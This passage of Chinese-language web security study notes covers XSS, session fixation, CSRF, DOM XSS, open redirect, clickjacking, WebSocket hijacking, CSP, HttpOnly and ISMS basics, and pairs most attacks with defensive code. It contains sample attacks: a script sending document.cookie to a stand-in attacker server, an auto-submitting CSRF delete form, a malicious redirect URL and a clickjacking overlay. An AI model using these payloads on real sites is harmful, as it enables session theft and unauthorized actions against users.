就可以取的被害者的 Cookie. - XSS(跨站腳本攻擊)是一種常見的網路攻擊方式,攻擊者利用這種漏洞注入惡意腳本到受害者的瀏覽器,從而在受害者的瀏覽器中執行惡意腳本。通過這個攻擊,攻擊者可以偷取受害者的 Cookie 並進一步取得受害者的身份。 - 以下是一個簡單的 XSS POC(Proof of Concept),當受害者訪問包含這個 POC 的網頁時,其瀏覽器將會被重定向到攻擊者控制的伺服器,攻擊者就可以在伺服器日誌中取得受害者的 Cookie: - 假設此段POC已被攻擊者嵌入使用這信任的網頁 ```javascript= <script> // 建立一個 Image 物件,將其 src 設為攻擊者的伺服器,並在 query 字串中包含 document.cookie var img = new Image(); img.src = "http://攻擊者控制的伺服器/?cookie=" + encodeURIComponent(document.cookie); </script> ``` 在這個 POC 中,攻擊者將 document.cookie 的值透過 query 字串傳送到攻擊者控制的伺服器。攻擊者只需在伺服器端監聽和記錄請求,就能夠取得受害者的 Cookie。 - 防禦方法: - <font color=red>設置 HttpOnly 屬性的 cookie 將無法被 JavaScript 讀取</font>。 - 在 Laravel 中,您可以使用 cookie() 輔助函數來設置 HttpOnly 標誌。這個函數可以在控制器或路由中使用。 - 以下是一個設置 HttpOnly 的示例: ```php= Route::get('/set-cookie', function () { $response = new Response('Setting cookie'); $response->cookie('my_cookie', 'cookie_value', 60, '/', null, false, true); // 最後一個參數為 true 表示設置 HttpOnly return $response; }); ``` 可以禁止js直接讀取Cookie - Secure 屬性用於指示瀏覽器僅在使用 HTTPS 安全連接時才能將 cookie 發送到服務器。這提高了對敏感信息的保護,因為使用 HTTPS 連接時,通信是加密的,而不易被竊取或竄改。 - <font color=red>設置Secure 表示該Cookie 只能透過Https方式傳送</font>。 ```laravel= $response = new Illuminate\Http\Response('Hello World'); $response->cookie('name', 'value', $minutes)->secure(true); ``` 這樣設置後,只有在 HTTPS 連接下,瀏覽器才會發送這個 cookie。這提供了額外的安全性,特別是在傳輸敏感數據時 - ### Session Fixation (會話固定) ![350999](https://hackmd.io/_uploads/r1mNFBTpp.jpg) Session Fixation (會話固定) 是一種安全漏洞,當攻擊者能夠影響或操縱應用程式用於追蹤使用者 Session 的 Session 標識符時發生。攻擊者的目標通常是將 Session 標識符固定(設置)為他們控制的已知值,從而使他們能夠在Session一旦驗證後劫持使用者的Session。 以下是Session固定的典型工作方式: 1. 攻擊者準備:攻擊者生成或取得來自目標應用程式的有效Session標識符。這可能涉及誘使使用者點擊包含預設Session ID 的惡意連結。 2. 使用者互動:攻擊者引誘受害者進入目標應用程式,通常是提供包含固定Session ID 的連結。 3. 使用者驗證:受害者對應用程式進行身份驗證,無論是登錄還是執行其他形式的身份驗證。 4. 利用:由於攻擊者已經設置了Session ID,他們現在可以使用它來訪問使用者的Session,有效地劫持它。這使得攻擊者可以訪問使用者的帳戶和相關的敏感資訊。 Session固定攻擊可能會帶來嚴重後果,使攻擊者能夠訪問敏感使用者資料、執行未經授權的操作或冒充合法使用者。為了防止Session固定漏洞,開發人員應實施安全的Session管理實踐,例如為每個使用者Session生成唯一的 Session 標識符,並在成功驗證後重新生成Session ID。此外,應用程式應使用安全機制傳輸Session標識符,例如 HTTPS,以防止攻擊者攔截或篡改。 - ### CSRF(Cross-Site Request Forgery,跨站請求偽造) CSRF 是一種攻擊方式,利用了用戶對網站的信任。攻擊者可以在用戶已經登錄到一個網站的情況下,通過欺騙用戶訪問另一個網站的頁面(通常是攻擊者控制的頁面),從而觸發用戶在目標網站上的一系列操作,包括提交表單、發送請求等。這樣一來,攻擊者就可以利用用戶的身份在目標網站上執行一些操作,例如修改個人信息、發送消息等。 ![351100](https://hackmd.io/_uploads/SkCeOOa6p.jpg) - 以下是一個利用 CSRF 攻擊來刪除文章(POST delete)的示例: 假設有一個論壇網站,用戶可以發布文章並且可以通過發送 POST 請求來刪除自己的文章。假設刪除文章的請求是通過 POST 方法發送到 /delete-post 路徑的。 攻擊者在一個惡意網站上放置了一個連結,用戶訪問這個連結時,將觸發一個 POST 請求來刪除特定文章,而這個文章的 ID 是事先由攻擊者指定的。 ```html= <!-- 惡意網站上的 HTML 代碼 --> <form id="csrf-form" action="https://論壇網站.com/delete-post" method="POST"> <input type="hidden" name="post_id" value="123"> </form> <script> document.getElementById('csrf-form').submit(); </script> ``` 當用戶訪問了這個惡意網站,自動提交的表單將發送一個 POST 請求到論壇網站的 /delete-post 路徑,並且將要刪除的文章的 ID 設置為 123。由於這個<font color=red>請求是用戶的瀏覽器發送的,所以它將被論壇網站視為合法的請求</font>,從而導致了文章的刪除。 預防方式: 1. **二階段驗證。** 2. 使用 **CSRF token**,CSRF 核心概念就是網站只透過 Cookie 認 user,而CSRF Token 是一個具時效,彆且是唯一且保密的Token,攻擊者無法得知Token,就無法攻擊。 3. ** 檢查Referer欄位**,在HTTP協定當中有Referer欄位,紀錄請求是來自哪裡,可以透過白名單的方式來檢查是否是信任的網站。 - Laravel 範例 可以使用 $request->header('referer') 方法來獲取 Referer 標頭的值 ``` class RefererController extends Controller { public function checkReferer(Request $request) { // 獲取 Referer 標頭的值 $referer = $request->header('referer'); // 檢查 Referer 標頭是否以指定的網址開頭 if ($referer && strpos($referer, 'https://example.com/') === 0) { // 如果 Referer 是來自指定的網站,執行相應的操作 return response()->json(['message' => 'Referer is from a trusted source']); } else { // 如果 Referer 不是來自指定的網站,執行其他操作或者返回錯誤消息 return response()->json(['message' => 'Referer is not from a trusted source'], 403); } } } ``` - ## User Client 端 相關弱點 - ### DOM XSS DOM XSS(Document Object Model Cross-Site Scripting)是一種網站漏洞,它利用了瀏覽器中的 Document Object Model(DOM)的特性,使攻擊者能夠在受害者的瀏覽器中執行惡意的 JavaScript 代碼。與傳統的跨站腳本攻擊(XSS)不同,<font color=red>DOM XSS 不涉及對服務器的請求或響應</font>。相反,它是在客戶端的 DOM 中觸發和利用的。 DOM XSS 發生的原因通常是因為網站使用了不安全的方式將用戶輸入的數據(如 URL 參數、DOM 元素的內容)插入到網頁中,而攻擊者利用了這些位置的不安全性。當受害者訪問包含了惡意腳本的頁面時,瀏覽器會執行這些腳本,從而可能導致信息泄露、帳戶劫持或其他安全問題。 以下是一個簡單的示例,展示了一個潛在的 DOM XSS 漏洞: ```html= <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DOM XSS Example</title> </head> <body> <script> // 假設攻擊者能夠控制 url 中的內容,例如通過 URL 的參數 var params = new URLSearchParams(window.location.search); var input = params.get('input'); // 將用戶輸入的內容插入到 DOM 中 document.write('<p>' + input + '</p>'); </script> </body> </html> ``` 在這個示例中,假設攻擊者能夠控制 URL 中的參數 input 的值。當受害者訪問包含這個參數的頁面時,輸入的內容將被插入到 DOM 中的一個段落標籤中。如果攻擊者在 URL 中提供了包含惡意 JavaScript 代碼的 input 值,則該代碼將在受害者的瀏覽器中執行,從而造成 DOM XSS 漏洞。為了防止 DOM XSS 漏洞,開發人員應該適當地對用戶輸入的數據進行過濾和驗證,並且不應該直接將未經處理的數據插入到 DOM 中。 - 開放式重定向(Open Redirect) 開放式重定向(Open Redirect)是一種網站安全漏洞,它允許攻擊者利用網站的重定向功能將受害者重定向到惡意網站或惡意內容。這種漏洞通常出現在網站允許用戶通過 URL 參數或表單輸入來指定重定向目標時。 攻擊者利用開放式重定向漏洞的典型方法是創建一個看似合法的 URL,其中包含了惡意的重定向目標。然後,攻擊者將這個惡意 URL 發送給受害者,或者將其嵌入到釣魚頁面中。當受害者點擊該 URL 時,他們將被重定向到攻擊者控制的惡意網站,從而可能暴露於釣魚攻擊、惡意軟件下載或其他安全風險中。 以下是一個示例,演示了一個潛在的開放式重定向漏洞: ```php= <?php // redirect.php $redirectUrl = $_GET['url']; // 從 URL 參數中獲取重定向目標 // 執行重定向 header("Location: $redirectUrl"); exit; ?> ``` 攻擊者可以利用這個漏洞來製造一個惡意的 URL,例如: ``` http://example.com/redirect.php?url=http://malicious-site.com ``` 當受害者訪問這個惡意 URL 時,他們將被重定向到 http://malicious-site.com,從而可能受到攻擊。 為了防止開放式重定向漏洞 - 開發人員應該嚴格驗證重定向目標,確保它是一個合法的、受信任的 URL。 - 通常情況下,最好直接指定重定向目標,而不是使用來自用戶輸入的數據。 - 如果必須使用來自用戶的數據,則應該對其進行嚴格的驗證和過濾,並僅允許一組受信任的 URL。 - ### Clickjacking (點擊劫持)研究防範 ![351117](https://hackmd.io/_uploads/SJS7aYpap.jpg) Clickjacking(點擊劫持)是一種網頁攻擊技術,旨在欺騙使用者點擊他們沒有意識到的網頁元素。 以下是一個 Clickjacking 的範例: 假設攻擊者想要騙取使用者點擊一個偽造的按鈕,例如偽裝成一個吸引人的圖片或按鈕,以觸發未經授權的操作。 1. 攻擊者建立一個想要騙取點擊的網頁,並在該網頁上放置一個透明的 iframe。 2. 攻擊者將 iframe 定位到一個真實網頁的按鈕或功能上,這個按鈕或功能在真實網頁上是不可見的或不可用的。 3. 當使用者訪問攻擊者的網頁時,他們會看到一個看似正常的網頁,但實際上他們所看到的網頁上有一個透明的 iframe。 4. 當使用者嘗試點擊網頁上的某個區域(例如吸引人的圖片或按鈕)時,實際上他們所點擊的是 iframe 中的隱藏按鈕或功能,從而觸發未經授權的操作。 這樣一來,攻擊者就可以以使用者的身份執行未經授權的操作,可能會導致安全漏洞或損害。這就是 Clickjacking 的工作原理。 為了防止 Clickjacking 攻擊,開發人員可以通過使用 X-Frame-Options 標頭或 Content Security Policy(CSP)來防止其 iframe 被嵌入到其他網站中。 範例: ```javascript= <style> body { margin: 0; padding: 0; font-family: Arial, sans-serif; } .container { position: relative; width: 100%; height: 100vh; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; pointer-events: none; } .content { position: relative; z-index: 1; padding: 20px; text-align: center; } </style> ``` ```html= </head> <body> <div class="container"> <div class="overlay"></div> <div class="content"> <h1>點擊禮物按鈕</h1> <button onclick="alert('你的錢已經被轉帳了!')">點擊獲取禮物</button> </div> </div> <iframe src="https://example.com" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.5;"></iframe> </body> ``` - 原網站 ![image](https://hackmd.io/_uploads/Hkjk3gDaT.png) - Clickjacking 網站 ![image](https://hackmd.io/_uploads/rJ6V2xvT6.png) ![image](https://hackmd.io/_uploads/ryGMpgPTp.png) - ### 防範 Clickjacking 攻擊: 要防範 Clickjacking 攻擊,可以採取以下措施: 1. 使用 **X-Frame-Options **標頭: 將 X-Frame-Options 標頭添加到網站的 HTTP 響應中,以指示瀏覽器不允許將網頁內容嵌入到 iframe 中。可以將標頭設置為 DENY,表示網頁不允許在任何 iframe 中顯示,或者設置為 SAMEORIGIN,表示僅允許在相同域名的 iframe 中顯示。 ``` X-Frame-Options: DENY ``` - X-Frame-Options 標頭可以在網站的伺服器端設置,具體取決於使用的網頁伺服器。 - Apache 伺服器(使用 .htaccess 文件): 在網站的根目錄下的 .htaccess 文件中添加以下行: ``` Header always set X-Frame-Options DENY ``` - Nginx 伺服器: 在 Nginx 的設定檔中,將 X-Frame-Options 標頭添加到 server 或 location 塊中: ``` add_header X-Frame-Options DENY; ``` - IIS 伺服器: 可以在 IIS 的網站設定中添加 HTTP 標頭,或者在 Web.config 文件中添加以下配置: xml ```xml= <system.webServer> <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="DENY" /> </customHeaders> </httpProtocol> </system.webServer> ``` - Express.js(Node.js)應用程式: 在 Express.js 應用程式中,可以通過添加中間件來設置 X-Frame-Options ```javascript= app.use(function(req, res, next) { res.setHeader('X-Frame-Options', 'DENY'); next(); }); ``` 2. 使用 Content Security Policy (CSP): 配置 CSP,限制網頁中可以載入的資源來源,包括 iframe。通過將 frame-ancestors 指令設置為 none 或只允許合法的來源,可以防止 iframe 嵌入到惡意網站中。 `Content-Security-Policy: frame-ancestors 'none';` 3. php 設定Header的方法 header("X-Frame-Options: DENY") header("ontent-Security-Policy: frame-ancestors 'none'", false) 5. 使用 JavaScript 防禦技術: 在網頁中使用 JavaScript 來檢查它是否處於頂層窗口,如果不是,則將其重新導向到正確的 URL。例如: ```javascript= if (window !== top) { top.location = window.location; } ``` 在Vue中 ```javascript= <script setup> import { onMounted } from 'vue'; onMounted(() => { // Check if the window is not the top-level window if (window !== top) { // Redirect to the current URL to prevent Clickjacking top.location = window.location; } }); </script> <template> <!-- Your Vue component template --> </template> ``` 4. 將網頁設置為不透明: 將網頁設置為不透明,以防止它被覆蓋在 iframe 下方。這樣使用者就無法點擊 iframe 下方的內容。 5. 教育使用者: 教育使用者識別可能存在的 Clickjacking 攻擊,並警覺不信任的網站。 綜合使用這些措施可以有效地保護網站免受 Clickjacking 攻擊。 - ### WebSoket WebSocket 是一種基於 TCP 協議的<font color=red>全雙工通信協議</font>,它允許客戶端和伺服器之間進行即時數據交換。與 HTTP 不同,WebSocket 提供了<font color=red>持久連接</font>,並且可以在客戶端和伺服器之間<font color=red>雙向傳輸數據</font>,這使得它非常適合於實時應用程序,如聊天應用程序、在線遊戲、股票市場更新等。 WebSocket 協議的主要特點包括: 1. 全雙工通信: WebSocket 提供了全雙工通信的能力,客戶端和伺服器之間可以同時進行雙向數據傳輸,而不需要等待請求和響應。 2. 持久連接: WebSocket 通信是基於持久的 TCP 連接,與 HTTP 不同,它允許伺服器主動向客戶端發送數據,而不需要客戶端發出請求。 3. 低延遲: 由於 WebSocket 使用了持久的 TCP 連接,並且<font color=red>避免了 HTTP 的開銷(如 HTTP 的標頭)</font>,因此它可以實現低延遲的數據傳輸。 4. 輕量級: WebSocket 是一個輕量級的協議,並且與 HTTP 兼容,這使得它可以與現有的基礎設施和技術集成。 在網頁開發中,您可以使用 JavaScript 的 WebSocket API 來實現 WebSocket 通信。通常,您需要在客戶端和伺服器端分別實現 WebSocket 的處理邏輯,以便建立連接、傳送和接收數據等。許多主流的後端框架和庫都支援 WebSocket,包括 Node.js(使用 Socket.IO、ws 等庫)、Python(使用 WebSocket 库)、Java(使用 javax.websocket 库)等。 - **HTTP 交握(Handshake)** HTTP Handshake 通常指的是建立 WebSocket 連接時的過程,它是在客戶端和伺服器之間進行協商和確認的過程,以確立一個雙向的持久性連接。WebSocket 使用的是 HTTP 協議的握手過程,但它在後續的通信中使用的是 WebSocket 協議。 以下是簡要的 WebSocket 握手過程: 1. **客戶端發送 WebSocket 請求**: 客戶端發送一個普通的 HTTP 請求,其中包含了一些特殊的標頭,例如 Upgrade: websocket 和 Connection: Upgrade。這些標頭通常還包括一個 Sec-WebSocket-Key 標頭,用於驗證 WebSocket 握手的過程。 2. **伺服器回應 WebSocket 握手**: 如果伺服器支持 WebSocket,它將回應一個 HTTP 101 Switching Protocols 狀態碼,並包含一些特殊的標頭,例如 Upgrade: websocket 和 Connection: Upgrade。伺服器還會計算一個 Sec-WebSocket-Accept 標頭,用於驗證 WebSocket 握手的有效性。 3. **建立持久連接**: 一旦客戶端收到<font color=red> HTTP 101 Switching Protocols </font>回應,它將確認 WebSocket 握手成功,並建立一個持久的雙向連接。從這時開始,客戶端和伺服器之間就可以進行 WebSocket 通信,而不需要再通過 HTTP。 握手過程完成後,客戶端和伺服器就可以通過 WebSocket 連接進行雙向通信,並且通常使用特殊的 WebSocket 協議來傳輸數據。這使得 WebSocket 非常適合於需要實時、雙向通信的應用程序,如即時聊天、在線遊戲、股票市場更新等。 參考圖 ![351123](https://hackmd.io/_uploads/H1sp8caaa.jpg) **範例** 假設有一個簡單的聊天應用程序,客戶端使用 JavaScript 和 WebSocket 來與伺服器進行通信。下面是一個簡化的例子,展示了 WebSocket 握手的過程: **客戶端 JavaScript 代碼:** ```js= // 創建一個 WebSocket 對象,並指定伺服器的地址 var socket = new WebSocket("ws://example.com/chat"); // 在 WebSocket 連接打開時執行的回調函數 socket.onopen = function(event) { console.log("WebSocket 握手成功!"); // 在連接打開後,可以開始向伺服器發送消息 socket.send("Hello, server!"); }; // 在收到來自伺服器的消息時執行的回調函數 socket.onmessage = function(event) { console.log("收到來自伺服器的消息:", event.data); }; // 在 WebSocket 連接關閉時執行的回調函數 socket.onclose = function(event) { console.log("WebSocket 連接已關閉。"); }; ``` **伺服器端(使用 Node.js 和 WebSocket 模塊):** ```js= const WebSocket = require('ws'); // 創建一個 WebSocket 伺服器 const wss = new WebSocket.Server({ port: 8080 }); // 當有客戶端連接時執行的回調函數 wss.on('connection', function connection(ws) { console.log('有新的客戶端連接進來了!'); // 在客戶端發送消息時執行的回調函數 ws.on('message', function incoming(message) { console.log('收到來自客戶端的消息:', message); // 回覆客戶端一條消息 ws.send('Hello, client!'); }); }); ``` 在這個例子中,客戶端和伺服器通過 WebSocket 進行通信。當客戶端連接到伺服器時,它會發送一條消息,伺服器收到消息後會回覆一條消息。這個過程中涉及了 WebSocket 握手,客戶端和伺服器之間建立了一個持久的雙向連接,並且可以進行即時的數據交換。 - WebSocket 的安全漏洞 WebSocket 協議本身並不容易受到傳統的安全漏洞,因為它是一個持久且雙向的通信協議,設計用於實時通信,並在 WebSocket 連接建立時提供了一些安全機制。然而,應用程序中使用 WebSocket 可能存在一些安全風險,需要開發人員注意和應對。以下是一些可能存在的 WebSocket 安全漏洞和相應的防範措施: 1. 未授權訪問: 如果未適當地實施身份驗證和授權機制,攻擊者可能會通過 WebSocket 連接訪問未授權的資源或執行未經授權的操作。開發人員應實施強大的身份驗證機制,以確保僅授權用戶可以訪問 WebSocket 服務器上的資源。 2. 信息洩漏: 如果在 WebSocket 通信中傳輸敏感信息且未加密,攻擊者可能會窺視或竊取這些敏感信息。開發人員應該使用加密協議(例如 TLS)來保護 WebSocket 通信中的敏感信息。 3. 過度載入: 如果不審慎地設計 WebSocket 應用程序,可能會導致過度載入伺服器或網絡。例如,如果允許客戶端不斷發送大量的消息而不加限制,可能會導致服務器過載或拒絕服務(DoS)攻擊。開發人員應實施適當的限制和防禦措施,以防止過度載入。 4. 跨站腳本(XSS): 如果不對客戶端發送的消息進行適當的驗證和過濾,攻擊者可能會通過 WebSocket 連接傳播惡意腳本,從而執行跨站腳本攻擊。開發人員應該在接收和處理客戶端消息時實施適當的輸入驗證和過濾,以防止 XSS 攻擊。 總的來說,WebSocket 漏洞的防範與傳統的 Web 應用程序安全相似,需要開發人員在設計、實現和部署 WebSocket 功能時注意到潛在的安全風險,並實施適當的安全措施來保護應用程序和用戶數據的安全性。 - ### WebSocket Hijacking 是一種安全漏洞 WebSocket Hijacking 是一種安全漏洞,攻擊者利用這個漏洞可以截取或篡改 WebSocket 通信。這種攻擊通常發生在沒有適當保護措施的情況下,攻擊者可以監聽或修改 WebSocket 通信中的數據,從而獲取敏感信息或對通信進行干擾。 - ### Cross-Site WebSocket Hijacking(CSWSH) ![351130](https://hackmd.io/_uploads/BJ_P1ipTp.jpg) Cross-Site WebSocket Hijacking(CSWSH)是一種特殊形式的 WebSocket Hijacking,攻擊者利用跨站請求伪造(CSRF)漏洞,將用戶的 WebSocket 連接定向到攻擊者控制的服務器。這種攻擊可能導致敏感信息的泄露,或者使攻擊者能夠代表用戶執行某些操作。 以下是 CSWSH 攻擊的一個簡單示例: 1. 攻擊者在他們控制的網站上放置惡意代碼,這段代碼會建立一個 WebSocket 連接到受害者的目標應用程序。 2. 攻擊者通過 CSRF 攻擊將受害者引導到包含惡意代碼的頁面。當受害者訪問這個頁面時,他們的瀏覽器會執行惡意代碼,建立到目標應用程序的 WebSocket 連接。 3. 攻擊者利用這個 WebSocket 連接,可以監聽或修改來自受害者的通信,例如窃取會話令牌、修改用戶資料等。 - 防範 CSWSH 攻擊的方法包括: 1. 建立連線時不要使用 ws://(非加密),建議使用wss://(加密) 2. 實施 CSRF 防護:使用 CSRF 令牌或同源政策等方法來防止 CSRF 攻擊,這樣攻擊者就無法利用 CSRF 漏洞導向受害者的 WebSocket 連接到惡意服務器。 3. 實現安全的 WebSocket 連接:確保 WebSocket 連接建立過程中有適當的身份驗證和授權機制,並使用加密來保護敏感信息的傳輸。 4. 對來自用戶的輸入進行驗證和過濾:在處理用戶發送的消息時,要對輸入進行驗證和過濾,以防止 XSS 攻擊或其他安全漏洞。 通過這些措施,可以有效地防範 CSWSH 攻擊和其他類型的 WebSocket Hijacking 漏洞。 - ## HTTP Headers 的資安議題 - ### CSP (Content-Security-Policy) - HTTP Headers 的資安議題 - [參考網址](https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/) - **Content Security Policy(CSP)** - 是一種網頁安全標準,它可以幫助減少和防止特定類型的攻擊,尤其是跨站腳本攻擊(XSS)。 - 通過 CSP,網站管理員可以指定允許載入的資源來源,從而限制瀏覽器中執行的 JavaScript、CSS、圖像等資源的來源,以減少攻擊者利用網站的漏洞攻擊的可能性。 - 以下是 CSP 的一些主要功能和用法: 1. **限制資源來源**:CSP 允許你指定哪些來源可以載入資源(如 JavaScript、CSS、圖像等)。這可以防止攻擊者載入外部腳本,並防止對網站的攻擊。 2. **阻止內聯腳本**:CSP 可以阻止內聯腳本的執行,這是一種常見的 XSS 攻擊向量。通過 CSP,可以指定只允許載入外部腳本,從而防止內聯腳本的執行。 3. **上報策略違規**:CSP 還允許你配置報告策略違規的行為。當 CSP 遇到違反策略的行為時,例如載入被阻止的資源,它可以向指定的端點發送報告,讓你能夠及時了解並應對可能的攻擊。 4. **非同源資源限制**:CSP 還可以限制跨源資源的載入,從而減少 CSRF(跨站請求偽造)攻擊的可能性。 5. **HTTP 標頭配置**:CSP 是通過 HTTP 標頭來配置的,可以通過設置相應的 HTTP 標頭,告訴瀏覽器如何應用 CSP。 總的來說,Content Security Policy 是一個強大的安全標準,可以幫助網站管理員保護他們的網站免受許多類型的攻擊。要成功實施 CSP,需要仔細設計並測試你的策略,確保不會影響到網站的功能性,同時提供最佳的安全性。 - 是從 2010 年被提出來的一項 Web 規格,主要目的是用來防止 Cross-Site Scripting(以下簡稱 XSS)跟網頁樣式置換(例如科技部被惡搞就是一個最好的例子) - 範例 - default-src 'self'; 是 CSP 的一个策略指令,它指定了默认源(default-src),并设置为只允许加载同一源('self')的资源。 - <!DOCTYPE html> ```html= <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'self';"> <title>Content Security Policy Example</title> </head> <body> <h1>Content Security Policy Example</h1> <p>該網頁只允許加载同一源 ('self') 的資源。</p> <img src="/image.jpg" alt="Example Image"> <!-- 這個圖片將被被阻止加载,因为它的來源不是同一源 --> </body> </html> ``` - 疑問?難道不會在HTML中被改掉嗎? 這個問題很重要。在現實情況下,直接在HTML 中設定Content-Security-Policy 並不能完全保證安全,因為攻擊者可以修改頁面的HTML 程式碼。為了更可靠地設定Content-Security-Policy,<font color=red>最好是透過伺服器端設定HTTP Request Header 來實現</font>。 - 以下是一個範例,展示如何使用PHP 在伺服器端設定Content-Security-Policy: ```html= <?php header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Content Security Policy Example</title> </head> <body> <h1>Content Security Policy Example</h1> <p>該網頁只允許加载同一源 ('self') 的資源。</p> <img src="/image.jpg" alt="Example Image"> <!-- 這個圖片將被被阻止加载,因为它的來源不是同一源 --> </body> </html> ``` 在這個範例中,我們使用PHP 在伺服器端設定了Content-Security-Policy 頭。無論攻擊者如何修改頁面的HTML 程式碼,CSP 都會在HTTP 回應中強制執行,確保只有來自相同來源('self') 的資源可以載入。 同樣地,其他伺服器端語言(如Node.js、Python等)也提供了設定HTTP 回應頭的方法,開發人員可以根據實際情況選擇合適的方法來設定Content-Security-Policy,以增強網站的安全性。 - **在Laravel 中**: - 首先,創建一ContentSecurityPolicyMiddleware的中介軟體 ``` $ php artisan make:middleware ContentSecurityPolicyMiddleware ``` - 然後,在appapp/Http/Middleware/ContentSecurityPolicyMiddleware.php文件中編寫中間件的邏輯: ```laravel= <?php namespace App\Http\Middleware; use Closure; class ContentSecurityPolicyMiddleware { public function handle($request, Closure $next) { $response = $next($request); // 设置 Content-Security-Policy 头 $response->header('Content-Security-Policy', "default-src 'self';"); return $response; } } ``` - 接下來,您需要將中間件註冊到應用程式中。您可app/Http/Kernel.php檔案的`$middlew$middleware屬性中新增中間件: ```laravel= protected $middleware = [ // 其他中间件... \App\Http\Middleware\ContentSecurityPolicyMiddleware::class, ]; ``` 現在,每當應用程式收到請求時,`ContentSecContentSecurityPolicyMiddleware中介軟體將會作用。 - 目前採用 CSP 的案例較少,比較知名的使用案例是 GitHub,在 2013 年 4 月 GitHub 還寫了一篇專文公告表示他們已開始採用 CSP。 - 另外一個案例廠商可能較廣為人知,是在 2013 年當紅的免費儲存空間 MEGA。 - 兩個案例的實際內容可見於下圖: - ![image](https://hackmd.io/_uploads/BkCPcEo66.png) - 另一項知名使用案例是 Google 明定開發 Chrome Extension 時必須使用 CSP,以追求更高的安全性。 - Mozilla 也在 MozillaWiki 開了一頁存放相關技術細節。 - 使用 CSP 可以有效提升攻擊難度,讓許多常見的 XSS 攻擊失效,是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高,能需要先付出許多時間與心力將網站大幅整理,套用 CSP 規範後網頁才能正常運作。 - ### HttpOnly - [參考網址 ](https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/) - HttpOnly 是專門為了抵禦攻擊者利用 Cross-Site Scripting (XSS) 手法來盜取用戶身份,此項 Cookie 防護設定應該是在 HTTP Headers 系列文中最廣為人知的項目。 - XSS 攻擊早在 1990 年就被發現,此攻擊手法最常見的利用方式是存取使用者的 cookie 來獲得一些機敏資料。 - 因此若能阻止攻擊者存取帶有敏感資料的 cookie,就能減少 XSS 對使用者的影響,因而催生了 HttpOnly 機制。 - 當 cookie 有設定 HttpOnly flag 時,瀏覽器會限制 cookie 只能經由 HTTP(S) 協定來存取。因此當網站有 XSS 弱點時,若 cookie 含有 HttpOnly flag,則攻擊者無法直接經由 JavaScript 存取使用者的 cookie,可降低使用者身份被盜用的機率。 - 範例: - 上方曾提及用 laravel 用 setcookie() - HttpOnly 是存在已久的技術,但在我們系列文第一篇的統計當中,採用的比例仍然偏低。但即使採用了 HttpOnly,也僅能防止惡意人士不正當存取 cookie,無法防禦其他的 XSS 攻擊方式,例如將使用者導向至釣魚網站騙取個資、導向至惡意網站植入後門、置換網頁外觀等等。 - ## 資訊安全規劃與防護實務 (資訊安全中級能力鑑定) - ### 1. 資訊安全管理系統 資訊安全管理系統(Information Security Management System,ISMS)是一種以確保組織資訊安全為目標的框架或系統。ISMS 旨在確保組織的資訊資產受到適當的保護,並且可以預防、檢測和應對各種資訊安全風險和威脅。 ISMS 通常建立在國際標準組織(ISO)的標準之上,最常見的是 ISO/IEC 27001 標準,它提供了建立、實施、維護和持續改進 ISMS 的指南。以下是一些建立 ISMS 的基本步驟: 1. **範疇確定**: 確定 ISMS 的範圍,包括要涵蓋的資訊資產、相關的法規要求和風險。 2. **資訊資產識別**: 識別和評估組織的資訊資產,包括<font color=red>機密性、完整性和可用性</font>等方面。 3. **風險評估**: 進行風險評估,確定可能影響資訊安全的威脅、弱點和風險。 4. **安全控制選擇**: 根據風險評估結果,選擇和實施適當的安全控制來減輕或消除風險。 5. **文件化和實施**: 文件化 ISMS,包括政策、程序、指導方針和控制措施,並實施這些措施。 6. **執行監控和審核**: 監控 ISMS 的有效性,包括定期的審核和評估,以確保符合性和持續改進。 7. **持續改進**: 根據監控和審核結果,持續改進 ISMS,以應對新的威脅和風險,並確保持續符合性。 ISMS 的實施有助於組織建立起對資訊安全的全面管理,提高組織對資訊安全的認識和警覺性,並減少資訊安全事件的發生機率。 以下細述各項: - **範疇確定** 範疇確定是確定資訊安全管理系統(ISMS)的範圍和邊界的過程。這一步驟是非常重要的,因為它確定了ISMS將涵蓋哪些資源、活動和範圍,以及哪些將不在其範圍內。 在確定範圍時,組織需要考慮以下幾個因素: 1. **組織的業務目標**: ISMS的範圍應該與組織的業務目標和需求相關聯。這意味著需要明確確定ISMS將保護哪些業務資訊和資源,以及對這些資訊和資源的安全需求。 2. **法規和法律要求**: 組織需要考慮適用於其業務的法規和法律要求,並確保ISMS的範圍符合這些要求。 3. **利益相關者的期望**: 組織應該考慮到利益相關者對資訊安全的期望和需求,並將這些考慮納入ISMS的範圍內。 4.** 資源限制**: 組織還需要考慮其可用的資源,包括人力、財務和技術資源,以確定ISMS的範圍在這些限制之內。 在確定ISMS的範圍後,組織應該將其明確文件化並與利益相關者溝通。確定範圍是建立有效ISMS的關鍵步驟之一,因為它確保了所有利益相關者對ISMS的期望和需求的一致性理解,並確保ISMS能夠有效地達到其目標。 - **資訊資產識別** 資訊資產識別是指組織確定和評估其所有重要的資訊資產的過程。資訊資產可以是任何形式的資訊,包括數據、文件、軟體、硬體和基礎設施等。在進行資訊資產識別時,組織通常考慮以下幾個方面: 1. **機密性**: 這指的是資訊的機密程度,即該資訊對組織的重要性和保密性。例如,客戶個人資料、商業秘密或機密文件等可能具有高度機密性。 2. **完整性**: 這表示資訊的完整性,即資訊是否完整且未被修改或竄改。為了保持資訊的完整性,<font color=red>組織需要確保資訊不受未經授權的變更或破壞</font>。 3. **可用性**: 這是指資訊的可用性,即在需要時能夠使用和存取資訊的能力。<font color=red>確保資訊資產的可用性對於組織的運營至關重要</font>,因為無法存取重要資訊可能會導致生產力下降或業務中斷。 在識別和評估資訊資產時,組織通常會採取以下步驟: 1. **確定資訊資產**: 組織首先需要確定其所有的資訊資產,包括數據庫、文件、系統、應用程式等。 2. **評估機密性**、完整性和可用性: 對於每個資訊資產,組織需要評估其機密性、完整性和可用性,以確定其對組織的重要性以及需要採取的保護措施。 3. **分類和優先級**: 